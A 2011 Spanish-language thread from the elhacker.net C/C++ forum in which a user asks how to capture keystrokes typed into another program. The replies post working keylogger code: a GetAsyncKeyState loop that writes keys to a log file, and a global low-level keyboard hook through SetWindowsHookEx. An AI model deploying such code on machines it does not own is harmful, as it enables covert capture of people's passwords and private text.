elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Únete al Grupo Steam elhacker.NET


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación C/C++ (Moderadores: Eternal Idol, Littlehorse, K-YreX)
| | |-+  Recojer telcas de otra App
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Recojer telcas de otra App  (Leído 2,785 veces)
Riki_89D


Desconectado Desconectado

Mensajes: 851


BCN CITY


Ver Perfil
Recojer telcas de otra App
« en: 28 Septiembre 2011, 10:07 am »

Hola que tal están?

verán necesito recoger las teclas pulsadas en una aplicación externa a la mía,por ejemplo el Microsoft Word,se que existe la api "GetAsyncKeyState();" pero no se como usarla para recoger teclas pulsadas en una aplicación externa a la mía,podrían echarme una mano?


muchas gracias!




En línea

naderST


Desconectado Desconectado

Mensajes: 625



Ver Perfil WWW
Re: Recojer telcas de otra App
« Respuesta #1 en: 28 Septiembre 2011, 19:58 pm »

Si lo quieres hacer con GetAsyncKeyState() investiga sobre las siguientes funciones:

- GetForegroundWindow()
- GetWindowText()

Bueno lo que harás se simple en tu aplicación con GetForegroundWindow() obtendrás el handle de la ventana que tiene el usuario en el frente, y con GetWindowText() el titulo de la misma, si esta ventana es Word entonces pasamos a detectar las teclas.


En línea

Riki_89D


Desconectado Desconectado

Mensajes: 851


BCN CITY


Ver Perfil
Re: Recojer telcas de otra App
« Respuesta #2 en: 29 Septiembre 2011, 15:56 pm »

Hola que tal,hoy empezare a mirarme esas funciones que me pasaste,pero he querido realñizar una prueba conjoiendo las teclas de TODAS las app,o mejor dicho,de TODO el sistema,alla onde escriba sera registrado,pero nse que pasa que no funciona del todo bien,veras yo tengo este codigo:

Código
  1. #include "iostream"
  2. #include "fstream"
  3. #include "windows.h"
  4.  
  5. HWND MSN = 0;
  6.  
  7.  
  8. std::ofstream Log;
  9.  
  10. int main(void)
  11. {
  12. Log.open("Log.txt");
  13.  
  14. do{
  15.  
  16. if(GetAsyncKeyState(65))
  17. {
  18.  
  19. Log << "a";
  20.  
  21. }
  22.  
  23. }while(FindWindow(0,"Equipo"));
  24.  
  25.  
  26. return 0;
  27. }
  28.  

lo unino que hace es que si escribes una A,pues la guarde en el archivo,lo que pasa que cuando abro el archivo me salen MILLONES de A's xD,e intentado remediralo con "goto",pero no funciona,la verdad me molesta tener que usar un "while" para dejar el programa en espera de que el usuario empieze a escribir,tienes alguna idea al respecto?¿



gracias
En línea

naderST


Desconectado Desconectado

Mensajes: 625



Ver Perfil WWW
Re: Recojer telcas de otra App
« Respuesta #3 en: 30 Septiembre 2011, 02:04 am »

Código
  1. #include <fstream>
  2. #include <iostream>
  3. #include <Windows.h>
  4.  
  5. std::ofstream keylog;
  6.  
  7. int main(){
  8. keylog.open("C:/log.txt", std::ios_base::app);
  9.  
  10. while(1){
  11. if(!GetAsyncKeyState(0x41))
  12. keylog << "Tecla A presionada" << std::endl;
  13.  
  14. Sleep(500);
  15. }
  16.  
  17. keylog.close();
  18.  
  19. return 0;
  20. }
  21.  

EDIT:

También puedes hacer un Hook al teclado...
« Última modificación: 30 Septiembre 2011, 02:07 am por naderST » En línea

BlackZeroX
Wiki

Desconectado Desconectado

Mensajes: 3.158


I'Love...!¡.


Ver Perfil WWW
Re: Recojer telcas de otra App
« Respuesta #4 en: 30 Septiembre 2011, 08:01 am »

Instala un HOOK al teclado que a su vez sea a un hilo de ejecucion espesifico (esto para no detectar teclas que vayan destinadas a otra Hilo).

Dulces Lunas!¡.
En línea

The Dark Shadow is my passion.
Riki_89D


Desconectado Desconectado

Mensajes: 851


BCN CITY


Ver Perfil
Re: Recojer telcas de otra App
« Respuesta #5 en: 30 Septiembre 2011, 11:03 am »

Hola que tal,pues teneis toda la razon,hare un HOOCK con SetWindowsHoockEx,y esto de hacerlo en otro hilo me a llamado la atencion,asin que me e puesto a investigar sobre hilos ya que nunca los toque,se que esto se va del tema,pero lo pongo aqui para no abrir otro hilo,tengo el codigo para crear un hilo,pero parece que no acaba de funcionar bien,compila bien,pero no hace nada :S


Código
  1. #include "windows.h"
  2. #include "iostream"
  3.  
  4. DWORD WINAPI TProces(LPVOID)
  5. {
  6. MessageBox(0,"Hola desde el hilo","Hola",0);
  7. return 0;
  8. }
  9.  
  10. DWORD ID_HILO;
  11. HANDLE Tread;
  12. DWORD ExitCode;
  13.  
  14. int main(void)
  15. {
  16. Tread = CreateThread(0,0,TProces,0,0,&ID_HILO);
  17. OpenThread(THREAD_ALL_ACCESS,FALSE,ID_HILO);
  18. WaitForSingleObject(Tread,0);
  19. GetExitCodeThread(Tread,&ExitCode);
  20. return 0;
  21. }
  22.  

Aguna ayuda?¿

PD: Una vez tenga el code este solucionado pasare a instalar el HOOCK


thanks
En línea

naderST


Desconectado Desconectado

Mensajes: 625



Ver Perfil WWW
Re: Recojer telcas de otra App
« Respuesta #6 en: 30 Septiembre 2011, 13:32 pm »

Aquí tienes un hook simple al teclado.
Código
  1. #include <stdio.h>
  2. #include <Windows.h>
  3.  
  4. HHOOK hKeyboard;
  5.  
  6. LRESULT CALLBACK keyboardproc(int nCode, WPARAM wParam, LPARAM lParam){
  7. DWORD keyCode = ((KBDLLHOOKSTRUCT*)lParam)->vkCode;
  8. switch(keyCode){
  9. default:
  10. printf("Tecla %c presionada!\n", keyCode);
  11. }
  12. return CallNextHookEx(hKeyboard, nCode, wParam, lParam);
  13. }
  14.  
  15. int main(){
  16. MSG msg;
  17. hKeyboard = SetWindowsHookEx(WH_KEYBOARD_LL, keyboardproc, GetModuleHandle(0),0);
  18.  
  19. if(!hKeyboard)
  20. return 0;
  21.  
  22. while(GetMessage(&msg, 0,0,0))
  23. {
  24. TranslateMessage(&msg);
  25. DispatchMessage(&msg);
  26. }
  27.  
  28. return 0;
  29. }
  30.  
En línea

BlackZeroX
Wiki

Desconectado Desconectado

Mensajes: 3.158


I'Love...!¡.


Ver Perfil WWW
Re: Recojer telcas de otra App
« Respuesta #7 en: 30 Septiembre 2011, 18:59 pm »

y esto de hacerlo en otro hilo me a llamado la atencion

Me entendiste mal, se instala un HOOk pero no en otro hilo como tu lo quieres hacer igual si lo deseas hacer adelante, pero debes Instalar el HOOK asociandolo a un HILO, como lo es al hilo del programa que deseas interceptar!¡.

http://msdn.microsoft.com/en-us/library/ms644990%28v=VS.85%29.aspx

Código
  1.  
  2. HHOOK WINAPI SetWindowsHookEx(
  3.  __in  int idHook,
  4.  __in  HOOKPROC lpfn,
  5.  __in  HINSTANCE hMod,
  6.  __in  DWORD dwThreadId
  7. );
  8.  
  9.  

En el ultimo parametro mete el id del Hilo a asociar, eso es todo ( Hay una api para obtener el id del hilo, pero no recuerdo como se llamaba... cre que tiene algo que ver con GetThreadId() )...

P.D.: Recuerda que debes desinstalar el Hook... UnhookWindowsHookEx()

Dulces Lunas!¡.
« Última modificación: 30 Septiembre 2011, 19:01 pm por BlackZeroX▓▓▒▒░░ » En línea

The Dark Shadow is my passion.
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Recojer datos msn « 1 2 3 »
Programación Visual Basic
BenRu 26 5,332 Último mensaje 24 Septiembre 2006, 04:55 am
por BenRu
Duda php, recojer variables
PHP
xDie 7 2,868 Último mensaje 18 Octubre 2006, 19:33 pm
por xDie
como sacar otra toma de ono para otra tv?
Electrónica
davemirra 1 10,682 Último mensaje 19 Enero 2007, 20:59 pm
por ecri
CARGAR UNA PAGINA DENTRO DE OTRA UNA Y OTRA VEZ
PHP
bleyarkngel 0 4,574 Último mensaje 29 Junio 2009, 01:03 am
por bleyarkngel
Recojer datos con TinyMce
PHP
Littl3 4 8,344 Último mensaje 17 Julio 2009, 02:17 am
por rigoxls
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines